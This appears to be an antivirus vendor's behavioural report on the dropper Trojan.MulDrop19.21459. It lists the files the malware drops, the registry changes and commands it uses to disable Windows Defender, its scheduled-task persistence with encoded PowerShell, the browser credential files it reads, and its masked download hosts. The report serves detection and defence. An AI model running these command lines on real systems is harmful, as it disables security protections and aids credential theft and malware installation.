Trojan.MulDrop19.21459

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\gzuwsoeyl
%WINDIR%\tasks\bmsxxiakajtnjyckcp.job
<SYSTEM32>\tasks\bmsxxiakajtnjyckcp
<SYSTEM32>\tasks\firefox default browser agent bb50d063008113d8

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
[<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'

Executes the following

'%WINDIR%\syswow64\taskkill.exe' /f /im chrome.exe

Injects code into

the following user processes:

61ceced569a1e_fri09cbcc3baef.exe

Reads files which store third party applications passwords

%LOCALAPPDATA%\google\chrome\user data\default\cookies
%LOCALAPPDATA%\google\chrome\user data\default\login data
%APPDATA%\mozilla\firefox\profiles.ini
%LOCALAPPDATA%\google\chrome\user data\default\web data
%APPDATA%\opera software\opera stable\login data

Modifies file system

Creates the following files

%TEMP%\7zs852f7c31\16409433263237.exe
%LOCALAPPDATA%\google\chrome\user data\default\extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\background.html
%LOCALAPPDATA%\google\chrome\user data\default\extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\icon.png
%LOCALAPPDATA%\google\chrome\user data\default\extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\js\aes.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\js\background.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\js\content.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\js\jquery-3.3.1.min.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\js\mode-ecb.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\js\pad-nopadding.js
%LOCALAPPDATA%\google\chrome\user data\default\extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\manifest.json
%TEMP%\is-g17sn.tmp\_isetup\_setup64.tmp
%TEMP%\is-g17sn.tmp\_isetup\_shfoldr.dll
%TEMP%\is-g17sn.tmp\idp.dll
%TEMP%\7zs852f7c31\61ceced6c27bc_fri096645043.exe
%TEMP%\sqlite.dat
%TEMP%\11111.exe
%TEMP%\1181130.dat
%TEMP%\1181348.dat
%TEMP%\1181567.dat
%TEMP%\cookies.sqlite
%TEMP%\cookies.sqlite-shm
%TEMP%\stogm1he.p
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%TEMP%\fj4ghga23_fsa.txt
%TEMP%\is-ticdl.tmp\idp.dll
%TEMP%\is-ca6q6.tmp\61cecec8b688a_fri09589cad1e70.tmp
%TEMP%\is-ticdl.tmp\_isetup\_shfoldr.dll
%TEMP%\is-ticdl.tmp\_isetup\_setup64.tmp
%TEMP%\7zs6113.tmp\install.exe
%TEMP%\7zs852f7c31\61cecd9b6f9d4_fri094c02ef.exe
%TEMP%\7zs852f7c31\61cecd9ca7c11_fri099f5bb09.exe
%TEMP%\7zs852f7c31\61cecd9d54fa1_fri09e2eb6577.exe
%TEMP%\7zs852f7c31\61cecd9f2cb62_fri09ea739d67bb.exe
%TEMP%\7zs852f7c31\61cecd9fe45e5_fri0962353d.exe
%TEMP%\7zs852f7c31\61cecde99d64d_fri0911819f2.exe
%TEMP%\7zs852f7c31\61cecec6eb22d_fri09f41c11.exe
%TEMP%\7zs852f7c31\61cecec8b688a_fri09589cad1e70.exe
%TEMP%\7zs852f7c31\61cececa90d0e_fri09b8d7aad.exe
%TEMP%\7zs852f7c31\61cececb11070_fri096174b10ac.exe
%TEMP%\7zs852f7c31\61ceced396fe9_fri0939bea2f.exe
%TEMP%\7zs852f7c31\61ceced4a016f_fri098e1a41.exe
%TEMP%\tcjkgclaiunilpjle\ncpuevyfwezpezu\hbhqhqc.exe
%TEMP%\sqlite.dll
%TEMP%\7zs852f7c31\61ceced569a1e_fri09cbcc3baef.exe
%TEMP%\7zs852f7c31\61ceced9ab227_fri099dd13f43c.exe
%TEMP%\7zs852f7c31\61cecedd3a712_fri09d12419.exe
%TEMP%\7zs852f7c31\61cecede68331_fri09bb6b27640.exe
%TEMP%\7zs852f7c31\libcurl.dll
%TEMP%\7zs852f7c31\libcurlpp.dll
%TEMP%\7zs852f7c31\libgcc_s_dw2-1.dll
%TEMP%\7zs852f7c31\libstdc++-6.dll
%TEMP%\7zs852f7c31\libwinpthread-1.dll
%TEMP%\7zs852f7c31\setup_install.exe
%TEMP%\7zs53da.tmp\__data__\config.txt
%TEMP%\7zs53da.tmp\install.exe
%TEMP%\is-i8l0t.tmp\61cecec8b688a_fri09589cad1e70.tmp
%TEMP%\7zs852f7c31\61cecd9a6ba1a_fri09e7ee12012.exe
%TEMP%\7zs852f7c31\61ceced762d9c_fri094275587cc6.exe
%APPDATA%\tevvhug

Sets the 'hidden' attribute to the following files

%APPDATA%\tevvhug

Deletes the following files

%TEMP%\is-ticdl.tmp\idp.dll
%TEMP%\is-ticdl.tmp\_isetup\_setup64.tmp
%TEMP%\is-ticdl.tmp\_isetup\_shfoldr.dll
%TEMP%\is-i8l0t.tmp\61cecec8b688a_fri09589cad1e70.tmp
%TEMP%\1181130.dat
%TEMP%\1181348.dat
%TEMP%\1181567.dat
%TEMP%\cookies.sqlite-shm
%TEMP%\cookies.sqlite
%TEMP%\11111.exe
%TEMP%\fj4ghga23_fsa.txt
<SYSTEM32>\tasks\gzuwsoeyl
%TEMP%\7zs852f7c31\61cecedd3a712_fri09d12419.exe

Modifies the following files

%LOCALAPPDATA%\google\chrome\user data\default\secure preferences

Network activity

Connects to

'localhost':49174
'microsoft.com':80
'on####ture-tube.me':443
'ip##pi.com':80
'gp.###ebuy768.com':443
'n4##b.net':443
'n4##b.net':80
'hh###w33.com':80
'cd#.##scordapp.com':443
'ip###ger.org':443
'21#.#93.30.21':80
'pa###bin.com':443
'45.##4.225.57':80
'21#.#93.30.45':80
'localhost':49176
'cd#.##scordapp.com':80
'oc##.#tartssl.com':80

TCP

HTTP GET requests

http://21#.#93.30.45/proxies.txt
http://45.##4.225.57/server.txt
http://21#.#93.30.21/base/api/statistics.php
http://ip###ger.org/1wa8E7
http://n4##b.net/driver/fw3.exe
http://ip##pi.com/json/
http://n4##b.net/driver/fw4.exe
http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
http://n4##b.net/driver/fw5.exe
http://n4##b.net/driver/fw6.exe
http://www.hh###w33.com/check/safe
http://n4##b.net/driver/fw1.php
http://oc##.#tartssl.com/sub/class2/code/ca/MEMwQTA%2FMD0wOzAJBgUrDgMCGgUABBQSOgrhRCSnWfKxoWTjWxhk8hga9AQU0E4PQJlsuEsZbzsouODjiAc0qrcCAhAV

Other

'localhost':49174
'localhost':49176
'localhost':49177
'pa###bin.com':443
'ip###ger.org':443
'cd#.##scordapp.com':80
'cd#.##scordapp.com':443
'n4##b.net':443
'gp.###ebuy768.com':443
'on####ture-tube.me':443

UDP

DNS ASK ra###nori.xyz
DNS ASK pa###bin.com
DNS ASK ad###stback.biz
DNS ASK li###ncode.com
DNS ASK ip###ger.org
DNS ASK cd#.##scordapp.com
DNS ASK n4##b.net
DNS ASK gp.###ebuy768.com
DNS ASK ip##pi.com
DNS ASK on####ture-tube.me
DNS ASK microsoft.com
DNS ASK bt##u.com
DNS ASK hh###w33.com
DNS ASK me####n-testet.at
DNS ASK oc##.#tartssl.com

Miscellaneous

Searches for the following windows

ClassName: 'ConsoleWindowClass' WindowName: ''
ClassName: 'EDIT' WindowName: ''
ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Google\Chrome\User Data'
ClassName: '' WindowName: ''

Creates and executes the following

'%TEMP%\7zs852f7c31\setup_install.exe'
'%TEMP%\7zs852f7c31\61ceced762d9c_fri094275587cc6.exe'
'%TEMP%\11111.exe' /stab %TEMP%\fj4ghga23_fsa.txt
'%TEMP%\is-ca6q6.tmp\61cecec8b688a_fri09589cad1e70.tmp' /SL5="$140168,1570064,56832,%TEMP%\7zS852F7C31\61cecec8b688a_Fri09589cad1e70.exe" /SILENT
'%TEMP%\7zs852f7c31\61ceced6c27bc_fri096645043.exe' -u
'%TEMP%\7zs852f7c31\61cecec8b688a_fri09589cad1e70.exe' /SILENT
'%TEMP%\is-i8l0t.tmp\61cecec8b688a_fri09589cad1e70.tmp' /SL5="$15021E,1570064,56832,%TEMP%\7zS852F7C31\61cecec8b688a_Fri09589cad1e70.exe"
'%TEMP%\7zs6113.tmp\install.exe' /S /site_id "652092"
'%TEMP%\7zs852f7c31\61cecec6eb22d_fri09f41c11.exe'
'%TEMP%\7zs852f7c31\61ceced6c27bc_fri096645043.exe'
'%TEMP%\7zs852f7c31\61ceced4a016f_fri098e1a41.exe'
'%TEMP%\7zs852f7c31\61cececa90d0e_fri09b8d7aad.exe'
'%TEMP%\7zs53da.tmp\install.exe'
'%TEMP%\7zs852f7c31\61cececb11070_fri096174b10ac.exe'
'%TEMP%\7zs852f7c31\61cecede68331_fri09bb6b27640.exe'
'%TEMP%\7zs852f7c31\61cecec8b688a_fri09589cad1e70.exe'
'%TEMP%\7zs852f7c31\61ceced9ab227_fri099dd13f43c.exe'
'%TEMP%\7zs852f7c31\61ceced396fe9_fri0939bea2f.exe'
'%TEMP%\7zs852f7c31\61ceced569a1e_fri09cbcc3baef.exe' /mixtwo
'%TEMP%\7zs852f7c31\61cecedd3a712_fri09d12419.exe'
'%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im chrome.exe' (with hidden window)
'%TEMP%\11111.exe' /stab %TEMP%\fj4ghga23_fsa.txt' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)
'<SYSTEM32>\gpupdate.exe' /force' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
'%WINDIR%\syswow64\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extens...
'%WINDIR%\syswow64\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "Sp...
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
'%ProgramFiles(x86)%\google\chrome\application\chrome.exe'
'%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gZUwsoEYl" /SC once /ST 15:54:19 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
'%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
'<SYSTEM32>\taskeng.exe' {D7D7969F-FBF1-467F-8B13-B7591988C1E6} S-1-5-21-1960123792-2022915161-3775307078-1001:xrjyoopmvkf\user:Interactive:[1]
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
'%WINDIR%\syswow64\regsvr32.exe' -U -s .\stOGM1HE.p
'%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gZUwsoEYl"
'%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "bmsXXIAkAjTnjYckCp" /SC once /ST 20:09:00 /RU "SYSTEM" /TR "\"%TEMP%\TCjKGcLaiUNIlpjLE\NcPuEVYFWEzPEzU\HBHqhqC.exe\" kD /site_id 652092 /S" /V1 /F
'<SYSTEM32>\rundll32.exe' "%TEMP%\sqlite.dll",global
'%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gZUwsoEYl"
'%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Mic...
'%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im chrome.exe
'%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Mic...
'%WINDIR%\syswow64\cmd.exe' /c 61cecec8b688a_Fri09589cad1e70.exe
'%WINDIR%\syswow64\cmd.exe' /c 61cececb11070_Fri096174b10ac.exe
'%WINDIR%\syswow64\cmd.exe' /c 61ceced4a016f_Fri098e1a41.exe
'%WINDIR%\syswow64\cmd.exe' /c 61cecec6eb22d_Fri09f41c11.exe
'%WINDIR%\syswow64\cmd.exe' /c 61ceced6c27bc_Fri096645043.exe
'%WINDIR%\syswow64\cmd.exe' /c 61ceced9ab227_Fri099dd13f43c.exe
'%WINDIR%\syswow64\cmd.exe' /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\Temp"
'%WINDIR%\syswow64\cmd.exe' /c 61cececa90d0e_Fri09b8d7aad.exe
'%WINDIR%\syswow64\cmd.exe' /c 61ceced569a1e_Fri09cbcc3baef.exe /mixtwo
'%WINDIR%\syswow64\cmd.exe' /c 61ceced762d9c_Fri094275587cc6.exe
'%WINDIR%\syswow64\cmd.exe' /c 61cecedd3a712_Fri09d12419.exe
'%WINDIR%\syswow64\cmd.exe' /c 61cecede68331_Fri09bb6b27640.exe
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\Temp"
'%WINDIR%\syswow64\cmd.exe' /c 61ceced396fe9_Fri0939bea2f.exe
'<SYSTEM32>\gpupdate.exe' /force
'<SYSTEM32>\gpscript.exe' /RefreshSystemParam

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней